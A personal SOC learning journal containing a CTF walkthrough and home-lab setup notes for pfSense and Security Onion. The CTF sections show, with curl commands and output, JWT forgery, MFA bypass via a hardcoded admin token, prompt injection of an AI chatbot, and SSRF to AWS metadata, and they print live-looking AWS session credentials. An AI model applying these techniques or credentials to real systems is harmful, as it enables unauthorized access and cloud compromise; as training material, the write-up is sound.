Keyboard shortcuts

Press โ† or โ†’ to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Welcome to RogueOps: My SOC Learning Journey ๐Ÿ“š๐Ÿ”

Welcome to RogueOps, my personal Security Operations Center (SOC) learning journal. This site documents my hands-on journey into cybersecurity, where I explore threat hunting, incident response, and SOC toolsโ€”all curated to sharpen my skills and share knowledge.

Current Focus

I have reviewed several SOC analyst job descriptions and identified the key technical skills employers are seeking. My goal is to gain hands-on experience with these skills and document my learning process thoroughly.

Why RogueOps?

  • To organize and track my growth as a SOC analyst.
  • To demonstrate my technical expertise for recruiters and industry peers.
  • To create engaging content that helps me connect and build my presence on LinkedIn and beyond.

What You'll Find Here

  • In-depth notes and practical exercises on real-world SOC topics.
  • Step-by-step guides for popular SOC tools and workflows.
  • Clear, easy-to-navigate documentation powered by mdBook.

Astra Bank CTF Report

Author: Jaswanth Sunkara (kick) Date: 24-08-2025


Welcome Challenge - Flag 1

Pasted_image_20250823100731.png

suryanandanmajumder@gmail.com

Challenge Description

Astra Bank has been hit by a massive cyberattack. The attackers left no clear trace behind. CloudSEK analysts discovered that the email suryanandanmajumder@gmail.com was used by the attacker. The mission was to continue the investigation and uncover hidden secrets at each step.

Approach

  1. OSINT Recon:
    • Initiated an email search using OSINT techniques.
    • Googled "email osnit online" and discovered the website epieos.com
    • Searched the email address on the site, which returned three links: Google Maps, Google Calendar, and Google Plus Archive.

Pasted_image_20250823100829.png

  1. Analyzing the Results:
    • Google Calendar and Archive contained no useful information.
    • Google Maps review contained a GitHub link embedded within a review image.

Pasted_image_20250823100906.png

  1. Following the GitHub Trail:
    • Navigated to the GitHub repository linked from the Maps review.
    • Checked the commit history and carefully inspected each commit.
    • Found the flag in one of the commit messages.

Pasted_image_20250823100944.png

Pasted_image_20250823101106.png

Pasted_image_20250823101050.png

Flag

CloudSEK{Flag_1_w3lc0m3_70_7h3_c7f}

Hacking the Hacker - Flag 2

Challenge Description

The investigation continued from the previous step. The GitHub repository discovered in the Google Maps review contained code, hinting at further hidden clues. The task was to analyze the repository for potential leads.

Approach

  1. Inspecting the Repository:

    • Opened the repository linked from the previous step.
    • Carefully reviewed the code files and commit history for anything unusual.
  2. Identifying the Telegram Bot:

    • Found a Python script in the repository controlling a Telegram bot.
    • Noticed the bot token placeholder referencing @ChaturIndiaBot.
    • Also spotted a comment indicating a secret flag reference using:
os.getenv('FLAG_2_URL')

Pasted_image_20250824102707.png

  1. Following the Bot:
  • Searched for @ChaturIndiaBot on Telegram.
  • I understood this has to be Prompt Injection from the python script as script contained gemini-2.5-flash references
  • Interacting with the bot led to the discovery of the second flag.

Pasted_image_20250823103936.png

  • Decoding the ASCII code gave the link to pastebin
[72, 116, 116, 112, 115, 58, 47, 47, 112, 97, 115, 116, 101, 98, 105, 110, 46, 99, 111, 109, 47, 114, 97, 119, 47, 116, 90, 67, 87, 80, 99, 54, 84]
python3 -c "print(''.join(chr(int(x)) for x in '72 116 116 112 115 58 47 47 112 97 115 116 101 98 105 110 46 99 111 109 47 114 97 119 47 116 90 67 87 80 99 54 84'.split())) )"
https://pastebin.com/raw/tZCWPc6T

Pasted_image_20250823104039.png

  • First link provided an audio file, which is a morse code tone

Pasted_image_20250823104100.png

  • I googled "online morse decoder" and found the below website. But the output was not the flag.

Pasted_image_20250823104126.png

FLAG2!W3!H473!AI!B07I -- incorrect
  • Tried with different website: https://morsecodegenerator.org/morse-audio-translator

Pasted_image_20250823104645.png

Flag

CloudSEK{FLAG2!W3!H473!AI!B07S}

Attacking the Infrastructure - Flag 3

Description

The Pastebin link from the previous challenge (https://pastebin.com/raw/tZCWPc6T) pointed us to a BeVigil report for an Android app:

https://bevigil.com/report/com.strikebank.easycalculator

Pasted_image_20250823130029.png

Approach

  1. Exploring BeVigil Report
  • After logging into BeVigil and reviewing the app analysis report, I noticed two important findings:
  • ignored google API key, probably Google Maps API key.

Pasted_image_20250823130352.png

  • Hardcoded strings inside the appโ€™s strings.xml file.
  • An exposed endpoint:

Pasted_image_20250824111026.png

Pasted_image_20250824111106.png

<string name="base_url">http://15.206.47.5:9090</string>
<string name="graphql">/graphql</string>
  • There was also about firebase, I tried simple reading the data unauthenticated, it resulted nothing useful, and didn't purse it further.
  1. GraphQL Introspection
  • I had troubles with setting up burpsuite on wayland initially, so meanwhile I tried with curl.
  • I used the below basic Introspection query.
curl -X POST http://15.206.47.5:9090/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __type(name:\"Query\") { fields { name type { name kind ofType { name kind } } } } }"}'
{"data":{"__type":{"fields":[{"name":"showSchema","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"listUsers","type":{"kind":"LIST","name":null,"ofType":{"kind":"OBJECT","name":"UserShort"}}},{"name":"userDetail","type":{"kind":"OBJECT","name":"Detail","ofType":null}},{"name":"getMail","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"getNotes","type":{"kind":"LIST","name":null,"ofType":{"kind":"SCALAR","name":"String"}}},{"name":"getPhone","type":{"kind":"LIST","name":null,"ofType":{"kind":"OBJECT","name":"UserContact"}}},{"name":"generateToken","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"databaseData","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"dontTrythis","type":{"kind":"SCALAR","name":"String","ofType":null}},{"name":"BackupCodes","type":{"kind":"SCALAR","name":"String","ofType":null}}]}}}
  • I tried with query field generateToken
  • It generated a guest token for username: John.d
curl -X POST http://15.206.47.5:9090/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ generateToken }"}'
{"data":{"generateToken":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6Ilg5TDdBMlEiLCJ1c2VybmFtZSI6ImpvaG4uZCJ9."}}
  • I queried the users using the below command. We are able to retrieve usernames and IDs without any authentication.
 curl -X POST http://15.206.47.5:9090/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ listUsers { id username } }"}'
{"data":{"listUsers":[{"id":"X9L7A2Q","username":"john.d"},{"id":"M3ZT8WR","username":"bob.marley"},{"id":"T7J9C6Y","username":"charlie.c"},{"id":"R2W8K5Z","username":"r00tus3r"}]}}
  • I retrieved the Schema using the below query field.
curl -X POST http://15.206.47.5:9090/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ showSchema }"}'
type Address {
  city: String
  region: String
  country: String
}

type Credentials {
  username: String
  password: String
}

type Detail {
  first_name: String
  last_name: String
  email: String
  phone: String
  bio: String
  role: String
  address: Address
  notes: [String]
  credentials: Credentials
  flag: String
  profile: String
}

type UserShort {
  id: ID!
  username: String
}

type UserContact {
  username: String
  phone: String
}

type Query {
  showSchema: String

  listUsers: [UserShort]
  userDetail(id: ID!): Detail
  getMail(id: ID!): String
  getNotes: [String]
  getPhone: [UserContact]

  generateToken: String

  databaseData(
    filter: String
    limit: Int
    deepScan: Boolean
    token: String
    format: String
    path: String
  ): String

  dontTrythis(
    user: String
    hint: String
    attempt: Int
    verbose: Boolean
    timestamp: String
  ): String

  BackupCodes(
    requester: String
    emergencyLevel: Int
    method: String
    signature: String
    expiry: String
  ): String
}
  • I modified the guest token with r00tus3r ID and username and copied the modified token. Since there was no encryption it was easy modification.

Pasted_image_20250824113415.png

Pasted_image_20250824124050.png

  • userDetail retrieves user details along with the flag and takes user id as argument.
curl -X POST http://15.206.47.5:9090/graphql \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6IlIyVzhLNVoiLCJ1c2VybmFtZSI6InIwMHR1czNyIn0." \
  -d '{"query":"{ userDetail(id:\"R2W8K5Z\") { flag } }"}'
{"data":{"userDetail":{"flag":"CloudSEK{Flag_3_gr4phq1_!$_fun}"}}}

Pasted_image_20250823134658.png

  • We also got email and password, I copied it in my notes, could be used later.
  • I took note of the role as "Platform Administrator". I thought maybe there could be system Administrator or Administrator roles but that wasn't the case.
  • I tried to gather more info by using other query fields like "getNotes, getMail, getPhone, DatabaseData and DontTrythis" but they weren't useful.

Flag

CloudSEK{Flag_3_gr4phq1_!$_fun}

Bypassing Authentication - Flag 4

Description

From the previous challenge, we discovered a endpoint for Flag 4. Initially I did not query all the details of the r00tus3r user. Took a break and came back and as I was reviewing through my notes it occurred to me that I didn't retrieve all the details of the user.

http://15.206.47.5:5000

Pasted_image_20250823160832.png

{ "address": { "city": "Boston", "country": "US", "region": "MA" }, "bio": "Devops Engineer", "credentials": { "password": "l3t%27s%20go%20guys$25", "username": "r00tus3r" }, "email": "alice.wright@example.com", "first_name": "Alice", "flag": "CloudSEK{Flag_3_gr4phq1_!$_fun}", "last_name": "Wright", "notes": [ "privileged account", "monitoring enabled" ], "phone": "+1-617-555-9999", "profile": "[http://15.206.47.5:5000/](http://15.206.47.5:5000/ "http://15.206.47.5:5000/")", "role": "Platform Administrator" }

Approach

  1. Login
  • I used the username and password I got from previous challenge.
r00tus3r
l3t%27s%20go%20guys$25

Pasted_image_20250824160924.png

Pasted_image_20250823164000.png

  1. Javascript Analysis
  • Initially I quickly opened and closed the js file, thought it wasn't relevant.

Pasted_image_20250824140624.png

  • After trying various methods to bypass mfa/backup code. I copied the source and gave it to chatGPT and it indicated about js which I initially paid no attention. Then I looked at it again and found the lead.
document.addEventListener("DOMContentLoaded", () => {
    const e = document.getElementById("form-title"),
        t = document.getElementById("login-form"),
        n = document.getElementById("mfa-section"),
        a = document.getElementById("login-msg"),
        o = document.getElementById("username"),
        s = document.getElementById("password"),
        i = document.getElementById("mfa-code"),
        r = document.getElementById("backup-code"),
        d = document.getElementById("profile-name"),
        c = document.getElementById("profile-pic"),
        l = document.getElementById("profile-role"),
        u = document.getElementById("profile-upload"),
        m = document.getElementById("dash-flag"),
        p = document.getElementById("logout-btn"),
        y = document.getElementById("upload-btn"),
        g = document.getElementById("toggle-password");
    async function f(e, t) {
        const n = undefined;
        return (await fetch("/api/login", {
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: JSON.stringify({
                username: e,
                password: t
            })
        })).json()
    }
    async function h(e, t) {
        const n = undefined;
        return (await fetch("/api/mfa", {
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: JSON.stringify({
                mfa_code: e,
                backup_code: t
            })
        })).json()
    }
    async function w(e) {
        const t = "YXBpLWFkbWluOkFwaU9ubHlCYXNpY1Rva2Vu",
            n = undefined;
        return (await fetch("/api/admin/backup/generate", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                Authorization: `Basic ${t}`
            },
            body: JSON.stringify({
                user_id: user_id
            })
        })).json()
    }
    async function b() {
        const e = await fetch("/api/profile");
        return 403 === e.status ? (window.location.href = "/login", null) : e.json()
    }
    async function E(e) {
        const t = await fetch("/api/profile/upload_pic", {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                Accept: "*/*"
            },
            body: JSON.stringify({
                image_url: e
            })
        });
        if (!t.ok) try {
            const e = undefined;
            return {
                error: (await t.json()).error || "Failed to fetch resource"
            }
        } catch {
            return {
                error: `Failed (HTTP ${t.status})`
            }
        }
        const n = await t.blob(),
            a = undefined;
        return {
            blob: n,
            contentType: t.headers.get("Content-Type") || n.type || "application/octet-stream"
        }
    }

    function v(e) {
        return new Promise((t, n) => {
            const a = new FileReader;
            a.onerror = () => n(new Error("Failed to read blob")), a.onloadend = () => t(a.result), a.readAsDataURL(e)
        })
    }
    async function L() {
        await fetch("/api/logout", {
            method: "POST"
        }), window.location.href = "/login"
    }
    g ? .addEventListener("click", () => {
        "password" === s.type ? (s.type = "text", g.textContent = "๐Ÿ™ˆ") : (s.type = "password", g.textContent = "๐Ÿ‘")
    }), document.getElementById("login-btn") ? .addEventListener("click", async() => {
        const d = await f(o.value, s.value);
        "success" === d.status ? window.location.href = "/dashboard" : "mfa_required" === d.status ? (t.style.display = "none", n.style.display = "block", n.removeAttribute("aria-hidden"), e && (e.innerText = "Multi-Factor Authentication"), (i || r) ? .focus()) : (a.innerText = d.message || "Wrong username or password", a.classList.add("show"))
    });
    const I = document.getElementById("tab-auth"),
        T = document.getElementById("tab-backup"),
        k = document.getElementById("panel-auth"),
        B = document.getElementById("panel-backup");

    function x(e) {
        const t = "backup" === e;
        I ? .setAttribute("aria-selected", String(!t)), T ? .setAttribute("aria-selected", String(t)), k ? .classList.toggle("active", !t), B ? .classList.toggle("active", t), B ? .setAttribute("aria-hidden", String(!t)), k ? .setAttribute("aria-hidden", String(t)), (t ? r : i) ? .focus()
    }
    I ? .addEventListener("click", () => x("auth")), T ? .addEventListener("click", () => x("backup"));
    const S = document.getElementById("mfa-btn"),
        A = document.getElementById("mfa-btn-backup");
    async function O() {
        const e = await b();
        e && (d && (d.innerText = `${e.first_name} ${e.last_name} (@${e.username})`), c && (c.src = e.profile_pic), l && (l.innerText = e.role), m && (m.innerText = e.flag))
    }
    S ? .addEventListener("click", async() => {
        const e = await h((i ? .value || "").trim(), "");
        "success" === e.status ? window.location.href = "/dashboard" : (a.innerText = e.message || "Invalid MFA/backup code", a.classList.add("show"))
    }), A ? .addEventListener("click", async() => {
        const e = await h("", (r ? .value || "").trim());
        "success" === e.status ? window.location.href = "/dashboard" : (a.innerText = e.message || "Invalid MFA/backup code", a.classList.add("show"))
    }), [i, r].forEach(e => {
        e ? .addEventListener("keydown", e => {
            "Enter" === e.key && (B ? .classList.contains("active") ? A ? .click() : S ? .click())
        })
    }), document.getElementById("back-to-login") ? .addEventListener("click", () => {
        n.style.display = "none", n.setAttribute("aria-hidden", "true"), t.style.display = "flex", e && (e.innerText = "Sign In")
    }), p ? .addEventListener("click", L), y ? .addEventListener("click", async() => {
        const e = document.getElementById("dash-msg");
        e.classList.remove("show", "alert-error", "alert-success"), e.innerText = "";
        const t = u ? .value.trim();
        if (!t) return e.innerText = "Please enter a URL.", void e.classList.add("show", "alert-error");
        const n = await E(t);
        if (n.error) return e.innerText = n.error, void e.classList.add("show", "alert-error");
        try {
            const t = await v(n.blob),
                a = new Image;
            a.onload = function() {
                c && (c.src = t), e.innerText = "Profile picture updated!", e.classList.add("show", "alert-success")
            }, a.onerror = function() {
                e.innerText = "Please provide a valid image.", e.classList.add("show", "alert-error")
            }, a.src = t
        } catch {
            e.innerText = "Failed to process response.", e.classList.add("show", "alert-error")
        }
    }), [o, s, i, r].forEach(e => {
        e ? .addEventListener("input", () => {
            a.classList.remove("show"), a.innerText = ""
        })
    }), u ? .addEventListener("input", () => {
        const e = document.getElementById("dash-msg");
        e.classList.remove("show", "alert-error", "alert-success"), e.innerText = ""
    }), "/dashboard" === window.location.pathname && O()
});
  • Authorization: Basic YXBpLWFkbWluOkFwaU9ubHlCYXNpY1Rva2Vu
  • Base64-decoded > api-admin:ApiOnlyBasicToken
  • Below part of the code is crucial. We can use it to generate backup code by providing user_id as argument with admin basic authentication token.
async function w(e) {
	const t = "YXBpLWFkbWluOkFwaU9ubHlCYXNpY1Rva2Vu",
		n = undefined;
	return (await fetch("/api/admin/backup/generate", {
		method: "POST",
		headers: {
			"Content-Type": "application/json",
			Authorization: `Basic ${t}`
		},
		body: JSON.stringify({
			user_id: user_id
		})
	})).json()
}
  1. Generate backup codes
  • I needed user ID for user r00tus3r but the ID I got in the previous challenge didn't work here.

Pasted_image_20250824161019.png

  • I decoded the the cookie value (jwt) and got the user_id
eyJsb2dnZWRfaW4iOmZhbHNlLCJ1c2VyX2lkIjoiZjJmOTY4NTUtOGMwNS00NTk5LWE5OGMtZjdmMmZkNzE4ZmEyIiwidXNlcm5hbWUiOiJyMDB0dXMzciJ9.aKrrCw.EghNTMHsWK0g4-DjVYpuyWglVN0

Pasted_image_20250824160358.png

  • Used that user_id to generate backup_codes.

Pasted_image_20250823171205.png

  • Used backup code to login

Pasted_image_20250823171307.png

  • After logging in we got the flag.

Pasted_image_20250823171517.png

Flag

CloudSEK{Flag_4_T0k3n_3xp0s3d_JS_MFA_Byp4ss}

The Final Game - Flag 5

Description

It is a DNS rebind SSRF vulnerability on aws.

Procedure

  1. Information gathering
  • I looked at source and took note of aws bucket URL and assumed it could be cloud related challenge.

Pasted_image_20250824004520.png

  • After trying with multiple SSRF vulnerabilites:
    • Single redirection - not worked
    • Looked for any open redirect endpoint - not found
    • Http headers - not worked
    • null and boolean (true) as values - not worked
    • DNS rebind - worked
  • I used 169.254.169.254 as second IP as it the local IP for aws since we already assumed it could be related to cloud.

Pasted_image_20250824005944.png

Pasted_image_20250824005806.png

  1. Exploitation
  • After finding the vulnerability. I started gathering bucket credentials.

Pasted_image_20250823230600.png

Pasted_image_20250823230531.png

  1. Configure aws
aws configure set aws_access_key_id ASIA4A3BVGI342AHBPXL
aws configure set aws_secret_access_key/sB67CVsp5560hd4C2cow9qgtXHYLV23YqGZm4Hr
aws configure set aws_session_token "IQoJb3JpZ2luX2VjENn//////////wEaCmFwLXNvdXRoLTEiRjBEAiAQiec8WjEDWKMlolTwFiZB/t9sMU3cJTEXLbQwQKCCfgIgZOj9DRRCjyADE1jypXixQMq5gyqZkfXHdMqEpV54iwYqtgUIMhAAGgw4MjY0NDkxNDY0MjMiDCGTR0vMkkydDW/CuiqTBfjg/vJ+3EUflLOVtZwUBzLjhSqDxy/FHE18/Z609bAi/TIJWhIPvt86P57rKMf74GMCT+WY7yygWpfq3srthTYWrUmsinS9Ci5CiLKyD3/kgjLPTuAFN+gXoak1VEgBQDTX8nPiHgllCyBGrzT4pr6TkZWX7oNd1CK6US16goO13/J9hFjIVZF616Qkml3dCv/cWJPLq7Il0muzVgqdtmfwF7lN3rCVKZaqUFuLffz3cUuHTMS9dTNZqm1lSob7QdWKrUYhVAzmVvnp5xJOvUD2HoWtl643lGrJkgB6dkW74sC6zPdcAPTUFGPY3uzQRUuNAC4aPg7uOVwIUceHQM0PQDSol+PdOd8rv0kWwlqvKIF1Fx87SJtuCM8ig7mabIW3UA7u9bIaySrvZmERqQObrmlZekRPr+s/oo/0ZADlwLvrWp3RW8SwojXHPi67mPIsLA54WtS+e001SB5aCpqLdwwRuPYZjKDDPB5qQQ6NgGm6UTcJf1ldIr3YPkZv7XXjEJR9dENVzqA3wbasWxJbsi+0nBVhNzHPGa/opnaUyrggG6vLt08lJyU5+DaVc2vYlXQt7085Z1wkdDQz4Q5pgakFDXpTUrSdSdTofKLLlbO5kNsdeQVO7fHbyU0cI+5nwvTq+NZ33+YyyqzC6rb28mHaQs+uaUtgRm8/7w3ZqLkD1q7sfWMnGaDJ5TZf148qIvPGCB4Odt5XbL96Y7GqQ+Z5zW1ndjmACmqIQrOOCdWrqu2NqtB0cDg0ghtiAiz7yUVwUhX9hbogktTUXuq/5n+oDrUaGtAZ6HvynB0l6OC3/J9b8LgJqiVS+rN4l3UyO5WqpqfBgjm+AC1RnSVGynrk4OBA52PxX1sZ8+Pg1ntnMMHkp8UGOrIBgXkVycF4Qa7mgewkEKl1w2VuqAs9X232MmKdfnEKFdLqu6Sag97BshOnKnDl8wkdX7PMML9RG0rMvp/8RzfmHx1jDUBZq183LQQ4Ypm5wL8IbubA1cmiJsp2nVASX0JYsObOKzjB60PBRoUt/C0WdZ0NcRjlTalz/P47LlShdBBIiG0Py8na/RY+cMbfa6wgx8Yt1N1ps1ULsU2kcppsKbmGKkfjZOpEoFLfr16YyMX3yw=="
aws configure set default.region ap-south-1
  1. Finding the flag
aws s3 ls s3://cloudsek-ctf/ --region ap-south-1 
                           PRE static-assets/
2025-08-21 15:30:43         42 flag.txt
aws s3 cp s3://cloudsek-ctf/flag.txt ./flag.txt --region ap-south-1

Pasted_image_20250824001728.png

Flag

CloudSEK{Flag_5_$$rf_!z_r34lly_d4ng3r0u$}

#0. Overview of the Lab

soc image

VMs

  • pfSense
  • kali
  • SecurityOnion
  • Windows
  • Linux (optional)

Network subnets

Network NameMachineSubnet
GreenWindows, Linux10.10.10.100/24
BlueSecurity Onion10.10.20.100/24
RedKali10.10.30.100/24
VPNHost machine10.10.3.2/24

System resources

VMRAM (GB)CPU CoresROM (GB)
SecurityOnion8490
Kali22VM image (80)
Windows LTSC2225
pfSense1120

My setup

  • Host machine OS: ArchCraft
  • RAM: 14 Gigs
  • Processor: Ryzen 5 (8 cores)
  • Hypervisor: virt-manager/KVM
  • ROM: 256 SSD

โš ๏ธ Notes from my side

I suggest you to go through the full setup notes before proceeding, it could clear any doubts when setting it up.

Sometimes, all configuration looks good, but things don't work as they should be, just restart the VMs (literally)

I enabled ssh on all VMs for easy troubleshooting.


#1 Networking

Assign these bridges to your VMs

Use the bridge setup script

The order of bridging interfaces doesnโ€™t matter, but hereโ€™s a recommended setup.

  • pfSense VM interfaces:

    • WAN โ†’ NAT to host machine
    • LAN โ†’ br-green
    • OPT1 โ†’ br-blue
    • OPT2 โ†’ br-red
    • OPT3 โ†’ VPN
    • OPT4 โ†’ br-mon (SPAN port)

Configure pfSense

  • DHCP : To assign IPs automatically to the connected VMs
  • OpenVPN : To access VMs without NAT-ing to host machine.
  • DNS
  • Firewall : To allow VPN clients

Interfaces

  • OPT5, OPT3 are assigned but not enabled.

Pasted_image_20250603201544.png

Example

  • I chose same mac address as Network port above in configuring GREEN interface

Pasted_image_20250603202321.png

Configure Mirroring/SPAN port on pfSense

  • Rename one of the interfaces as Mirror and connect it to bridge br-mon.
  • We're using pfSense to perform software-based port mirroring (SPAN), duplicating traffic from specific interfaces (GREEN) to a monitoring interface (OPT4 โ†’ br-mon) for analysis.

Pasted_image_20250603003044.png

  • Go to : Interfaces โ†’ Bridges.
  • Click on Advanced Options.

Pasted_image_20250603003006.png

Firewall Rules

  • I gave VPN access to all subnets, so I can ssh and troubleshoot easily.

GREEN

Pasted_image_20250603200406.png

BLUE

Pasted_image_20250603200428.png

RED

Pasted_image_20250603234012.png

Mirror

Pasted_image_20250603200822.png

VPN

  • When setting up your VPN make sure you have a setting to access internal network subnets. Configure it in VPN servers.
  • Go to : VPN โ†’ OpenVPN โ†’ Servers

Pasted_image_20250603202945.png


#2 Security Onion

  • There are a few caveats to be addressed in our setup.
  • Make sure you have network mirroring working.

Iptables

  • This one took me literally 2 days, I think, to get it right, because I tried messing with iptables manually from cli. It was a pain.
  • Stop iptables:
sudo systemctl stop iptables
  • Now you can access the soc platform on the host machine: 10.10.20.100 (I also reserved static ip on the pfsense via DHCP Static Mappings)
  • Follow this guide: https://docs.securityonion.net/en/2.4/firewall.html#configuring-host-firewall
  • For some reason after starting iptables, if you still don't access, restart the VM.

Test suricata alert

  • Create ICMP test alert

Pasted_image_20250603215158.png

  • ping from a red machine to green machine. It can take few mins before it shows up in alerts.
ping -c4 -4 10.10.10.100 # from kali

Pasted_image_20250604001304.png


#3 Scripts to make life easy

I have these script in ~/.custom-scripts-bin. I also added that path to $PATH in .zshrc

  • pfsense_vm : start pfsense vm from cli
  • setup_bridges_soc : creates and runs bridges
  • kali_vm : start kali vm from cli
  • SecurityOnion : runs setup_bridges_soc, pfsense_vm, start securityonion from cli
  • connect_VPN : simple script to connect to vpn

setup_bridges_soc

#!/bin/bash

# List of bridge names
BRIDGES=("br-green" "br-blue" "br-red" "br-mon")

for BR in "${BRIDGES[@]}"; do

    # Check if bridge already exists
    if ip link show "$BR" &>/dev/null; then
        echo "  $BR already exists, skipping."
        continue
    fi

    # Create the bridge
    sudo ip link add name "$BR" type bridge

    # Bring the bridge up
    sudo ip link set "$BR" up

done

kali_vm

  • vm name should be kali
#!/usr/bin/bash

virsh --connect qemu:///system start kali

pfsense_vm

  • vm name should be pfsense
#!/usr/bin/bash

setup_bridges_soc

virsh --connect qemu:///system start pfSense

SecurityOnion

  • vm name should be SecurityOnion
#!/usr/bin/bash

setup_bridges_soc

pfsense_vm

virsh --connect qemu:///system start SecurityOnion

PATH

export PATH=$PATH:$HOME/.custom-scripts-bin/

pfSense is an open-source firewall and router software based on FreeBSD. It provides powerful network security features such as stateful packet filtering, VPN support, traffic shaping, and intrusion detection, all accessible through an easy-to-use web interface.


Objectives

  • Learn to utilize pfSense to protect internal network.
  • Services configuration: DHCP, DNS, SSH, VPN
  • Firewall rules
  • PFBlockerNG: GeoBlocking, DNSBL
  • IDPS: snort testing

Setup

  • Download & install pfSense on your hypervisor (I use Virt-Manager) from this video or any other but watch videos from 2025: https://www.youtube.com/watch?v=Y-Dj8lHmXy8
  • pfSense requires a WAN interface to be configured. The LAN interface can be skipped and configured later.

Access Admin interface from WAN interface

  • By default you cannot access admin interface from WAN subnet like from your host machine, for that quickest way is to disable firewall temporarily.
  • I ssh-ed here, we will see later how to enable that.
  • Command to disable firewall.
pfctl -d
  • Then go to that WAN IP of the pfSense on the browser to access it.

Pasted_image_20250522163757.png


Enabling SSH Access

To manage pfSense remotely via SSH, you need to enable and configure the SSH service.

Steps to Enable SSH

  1. Log in to the Web GUI

    • Default : Username: admin, Password: pfsense
  2. Navigate to SSH Settings

    • Go to: System โ†’ Advanced โ†’ Admin Access

Pasted_image_20250522164811.png

  • Scroll down to the Secure Shell section
  • Check the box: "Enable Secure Shell" Pasted_image_20250522164933.png
  • Scroll all the way and click "Save"

Configure pfSense Firewall to Allow SSH

  • Go to: Firewall โ†’ Rules โ†’ WAN

Pasted_image_20250522170126.png

  • Click on "Add"
  • Do as image suggests and click "Save", change WAN to LAN as per your preference.

Pasted_image_20250522170352.png

  • Click on "Apply Changes". Most important one, I was troubleshooting without applying changes for some time :)

Pasted_image_20250522170743.png

  1. Access via Terminal
  • Type your admin password when prompted.
ssh admin@<pfSense-IP>

SSH via Key

If you want to configure ssh key then follow this, mind you, you still need to enable SSH in firewall as shown above. Video suggested: https://www.youtube.com/watch?v=oakOE2iDkhU

Create SSH keys in Linux

ssh-keygen -t ed25519 -C "admin@pfSense.local"

Pasted_image_20250522172911.png

Configure pfSense with SSH key

  • Go to: 1. System โ†’ User Manager โ†’ Users
  • Click on "Pencil" icon

Pasted_image_20250522173054.png

  • Scroll down to : Keys
  • Paste your Public Key here

Pasted_image_20250522173148.png

Access via terminal

ssh -i .ssh/id_ed25519 admin@$IP

DHCP Configuration

  • Go to: Services โ†’ DHCP Server
  • Choose which interface you want to configure DHCP, below image is showing LAN config.
  • Specify Address Pool Range excluding the IP which the pfSense configured on.
  • Scroll down and click "Save".

Pasted_image_20250523140441.png

  • You can check DHCP leases here: Status โ†’ DHCP Leases

Pasted_image_20250523141733.png


DNS

Set DNS Servers

  • Go to: System > General Setup
  • Scroll to the DNS Server Settings section.
  • Enter your preferred DNS servers ( 1.1.1.1, 8.8.8.8).
  • Also change DNS Resolution Behaivor as you need.
    • Default: Uses local DNS server on the pfSense and fallback to remote servers.
  • Check the box "Allow DNS server list to be overridden by DHCP/PPP on WAN ..." if you want WAN-provided DNS. Otherwise, uncheck it to use your own configured DNS servers.
  • Click Save.

Pasted_image_20250523081256.png

DNS Forwarderยถ

  • The DNS Forwarder in pfSenseยฎ software utilizes the dnsmasq daemon, which is a caching DNS forwarder.
  • Unlike the DNS Resolver, the DNS Forwarder can only act in a forwarding role as it does not support acting as a resolver.
  • The DNS Forwarder uses DNS Servers configured at System > General Setup and those obtained automatically from an ISP for dynamically configured WAN interfaces (DHCP, PPPoE, etc).
  • This service is disabled by default. The DNS Resolver (unbound) is the default DNS service.
  • Use DNS Resolver -- it supports both forwarding and resolving.

DNS Resolverยถ

The DNS Resolver in pfSenseยฎ software utilizes unbound, which is a validating, recursive, caching DNS resolver that supports DNSSEC, DNS over TLS, and a wide variety of options. It can act in either a DNS resolver or forwarder role.

  • Go to: Services โ†’ DNS Resolver โ†’ General Settings
  • Enable options are seen in the below image.
  • Enable SSL/TLS for encrypted DNS queries from local clients like LAN.
  • Use appropriate Outgoing Network Interfaces like WAN to resolve DNS quires rather than sending request to all the interfaces.
    1. Imagine Unbound (not restricted) sends a DNS query out through LAN, where clients also use pfSense as their DNS.
      • The request could circle back into Unbound โ€” a loop.
      • This can cause: Timeouts, Failed resolutions, High CPU usage
    2. Sending DNS out through the organization's GUEST network (public Wi-Fi) could:
      • Leak DNS into untrusted networks
      • Be sniffed or redirected
      • Allow MITM attacks if DNSSEC isnโ€™t used

Pasted_image_20250523100306.png

DNS over TLS (DoT)

  • DoT requires Forwarding Mode and SSL/TLS outgoing enabled on DNS Resolver.

Pasted_image_20250523104340.png

pfSense (Unbound) encrypts DNS queries to an upstream DNS provider like Cloudflare, Google, or Quad9 โ€” over port 853.

  • But Unbound's native recursive resolution (non-forwarding mode) means:

pfSense contacts root DNS servers directly (e.g: ., .com, google.com servers) โ€” and they do not support DNS over TLS.

DNS over HTTPS (DoH)

  • DNS over HTTPS (DoH) is a protocol that encrypts DNS queries using HTTPS (port 443) instead of plain DNS (port 53) or DNS over TLS (DoT).
  • pfSense does not natively support DoH in the DNS Resolver (Unbound) or DNS Forwarder (dnsmasq).
  • To use DoH on pfSense, you need to run a local DoH proxy that talks to an upstream DoH provider (like Cloudflare or Google).

Domain Name System Security Extensions (DNSSEC)

DNSSEC adds authentication to DNS. It does not encrypt DNS queries (like DoT or DoH) โ€” instead, it ensures that the DNS response:

  • โœ… Was not tampered with
  • โœ… Came from the legitimate DNS source
  • โŒ Does not provide privacy

How it works

  • DNS records are digitally signed by domain owners.
  • DNS resolvers (like pfSenseโ€™s Unbound) validate the signature.
  • If the signature is invalid or missing, the DNS query fails, protecting you from forged or poisoned responses. Prevents spoofing.

Testing configurations

Testing DNSSEC

  • Run this command from one of the LAN machines set up with pfSense.
  • 10.10.10.1 - is my pfSense LAN IP/interface.
dig  @10.10.10.1 +dnssec dnssec-failed.org
  • Output should be like this. Notice status: SERVFAIL.
  • Check with a domain that has DNSSEC enabled like: cloudflare.com
; <<>> DiG 9.18.37 <<>> dnssec-failed.org
;; global options: +cmd
;; Got answer:
